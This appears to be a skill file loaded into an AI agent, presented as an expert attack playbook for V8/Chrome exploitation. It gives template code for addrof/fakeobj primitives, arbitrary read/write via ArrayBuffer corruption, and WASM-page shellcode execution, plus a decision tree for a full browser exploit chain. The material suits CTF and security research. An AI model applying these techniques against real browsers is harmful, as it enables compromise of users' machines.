Browser Exploitation V8

SKILL: Browser / V8 Exploitation — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.

0. RELATED ROUTING

• sandbox-escape-techniques — Chrome renderer sandbox escape via IPC/Mojo
• heap-exploitation — general heap concepts applicable to V8 heap
• stack-overflow-and-rop — ROP concepts for native code execution after V8 escape
• binary-protection-bypass — ASLR/NX bypass in browser context

Advanced Reference

Load V8_EXPLOITATION_PATTERNS.md when you need:

• Detailed exploitation patterns and code templates
• Heap layout manipulation and GC interaction
• V8 sandbox bypass techniques
• Object map confusion patterns

1. V8 ARCHITECTURE

Compilation Pipeline

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JavaScript Source
    ↓ Parser
  AST (Abstract Syntax Tree)
    ↓ Ignition
  Bytecode (interpreted, profiling)
    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
  Baseline code (fast startup)
    ↓ Maglev (mid-tier, V8 ≥ 10.2)
  Mid-optimized code
    ↓ TurboFan (optimizing JIT)
  Optimized machine code (with speculative optimizations)
    ↓ Deoptimization (if speculation fails)
  Back to Ignition bytecode

Key V8 Concepts

Object Representation (64-bit, pointer compression)

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HeapObject in V8 heap (compressed):
  +0x00: Map pointer (compressed, 32-bit offset)
  +0x04: Properties/Hash
  +0x08: Elements pointer (compressed)
  +0x0C: Length (for arrays)
  +0x10: Inline properties or backing store data

2. COMMON V8 BUG CLASSES

Triggering JIT Optimization

javascriptCopy code
function vuln(arr) {
    // ... vulnerable code path ...
}
// Force optimization by calling many times
for (let i = 0; i < 100000; i++) {
    vuln(arr);
}
// Or use V8 intrinsics (d8 only):
%OptimizeFunctionOnNextCall(vuln);
vuln(arr);

3. EXPLOITATION PRIMITIVES

addrof — Leak Object Address

javascriptCopy code
// Goal: get the raw heap address of a JavaScript object
// Method: type confusion between object array and float array
// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
// - Write object reference to element of object array
// - Read same element as double from confused float array
// - Float bits = compressed pointer of the object

function addrof(obj) {
    // Setup depends on specific bug
    // Typically: trigger type confusion so array reads obj ref as float
    object_array[0] = obj;
    return ftoi(confused_float_array[0]);  // float-to-int conversion
}

fakeobj — Create Fake Object Reference

javascriptCopy code
// Goal: create a JS reference to an arbitrary heap address
// Method: reverse of addrof — write float (raw pointer bits) to float array,
//         read from confused object array → treated as object reference

function fakeobj(addr) {
    confused_float_array[0] = itof(addr);  // int-to-float conversion
    return object_array[0];                 // now a "pointer" to addr
}

Building Arbitrary R/W from addrof + fakeobj

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// 1. Create a Float64Array with known layout
let rw_array = new Float64Array(0x100);
let rw_array_addr = addrof(rw_array);

// 2. Fake a Float64Array object at controlled address with modified backing_store
// 3. Corrupt backing_store pointer to target address
// 4. Read/write through the fake Float64Array → arbitrary R/W

function read64(addr) {
    // Set fake array's backing_store = addr
    write_to_fake_backingstore(addr);
    return fake_float64array[0];
}

function write64(addr, value) {
    write_to_fake_backingstore(addr);
    fake_float64array[0] = value;
}

4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS

When TurboFan incorrectly eliminates bounds checks:

javascriptCopy code
function trigger(arr, idx) {
    // TurboFan thinks idx is always < arr.length
    // But due to bug, idx can exceed bounds
    return arr[idx];  // OOB read
}

// OOB read adjacent memory (next heap object's metadata)
// OOB write to corrupt next object's map/elements/length

What's Adjacent in V8 Heap?

Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:

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let arr1 = new Array(0x10);    // spray object
let arr2 = new Float64Array(0x10);  // target: adjacent to arr1
// OOB from arr1 can reach arr2's metadata
// Corrupt arr2's length → unconstrained OOB on arr2

5. ARRAYBUFFER ARBITRARY R/W

ArrayBuffer's backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.

javascriptCopy code
let ab = new ArrayBuffer(0x100);
let view = new DataView(ab);
// If we can overwrite ab's backing_store pointer:
// ab.backing_store = target_addr
// view.getFloat64(0) → reads 8 bytes from target_addr
// view.setFloat64(0, val) → writes to target_addr

V8 Sandbox (Pointer Compression) Impact

Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):

• ArrayBuffer.backing_store is a sandbox pointer (within the V8 cage, 4GB region)
• Cannot directly point outside the V8 cage
• Need sandbox escape to get full process memory access

6. WASM RWX PAGE

WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.

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// Allocate WASM module → JIT compiles to RWX page
let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);
let mod = new WebAssembly.Module(wasm_code);
let instance = new WebAssembly.Instance(mod);
// instance.exports.func → points to RWX page

// If we can find and write to this page:
// 1. addrof(instance) → find WASM instance object
// 2. Follow pointers: instance → jump_table_start → RWX page
// 3. Use arbitrary write to overwrite RWX page with shellcode
// 4. Call instance.exports.func() → executes shellcode

Modern Chrome: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.

7. V8 SANDBOX

Architecture (V8 ≥ 11.x)

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Process Virtual Address Space:
┌──────────────────────────────────────┐
│  V8 Sandbox Cage (4GB region)        │
│  ├── V8 Heap (JS objects)            │
│  ├── ArrayBuffer backing stores      │
│  ├── WASM memory                     │
│  └── External pointer table          │
├──────────────────────────────────────┤
│  Process memory outside cage         │
│  ├── libc, Chrome code               │
│  ├── Stack                           │
│  └── Other allocations               │
└──────────────────────────────────────┘

Sandbox Escape Vectors

8. CHROME SANDBOX ESCAPE (OVERVIEW)

After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:

Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.

9. TOOLS

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# V8 debugging
d8 --allow-natives-syntax exploit.js  # Enable V8 intrinsics (%DebugPrint, etc.)
d8 --trace-turbo exploit.js           # Dump TurboFan IR
d8 --print-opt-code exploit.js        # Print optimized machine code

# Turbolizer: visual TurboFan IR graph
# Chrome DevTools Memory panel: heap snapshots

# Build V8 for debugging
git clone https://chromium.googlesource.com/v8/v8.git
gclient sync
gn gen out/debug --args='is_debug=true v8_enable_sandbox=false'
ninja -C out/debug d8

10. DECISION TREE

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V8 vulnerability identified
├── Bug type?
│   ├── JIT type confusion → trigger optimization, confuse array element kinds
│   ├── Bounds check elimination → OOB read/write on array
│   ├── Typer bug → incorrect range leads to OOB
│   └── Builtin bug → direct memory corruption primitive
│
├── Build primitives
│   ├── Can confuse object array ↔ float array?
│   │   └── addrof + fakeobj → arbitrary R/W within V8 heap
│   ├── OOB on array?
│   │   └── Corrupt adjacent object (length/backing_store) → expand to full R/W
│   └── Direct write primitive?
│       └── Target WASM instance or ArrayBuffer metadata
│
├── V8 sandbox enabled?
│   ├── YES (modern Chrome) →
│   │   ├── R/W limited to V8 cage (4GB)
│   │   ├── Need sandbox escape: external pointer table corruption,
│   │   │   WASM code pointer overwrite, or Mojo bug
│   │   └── Then proceed to shellcode execution
│   └── NO (older V8, CTF, d8) →
│       ├── Corrupt ArrayBuffer backing_store → absolute R/W
│       └── Overwrite WASM RWX page → shellcode
│
├── Code execution method
│   ├── WASM RWX page available? → write shellcode, call WASM func
│   ├── JIT code writable? → overwrite JIT code
│   └── ROP needed? → corrupt stack or return address
│
└── Full browser exploit chain
    ├── Stage 1: V8 bug → renderer RCE
    ├── Stage 2: Mojo IPC bug → browser process compromise
    └── Stage 3: OS-level escalation (if needed)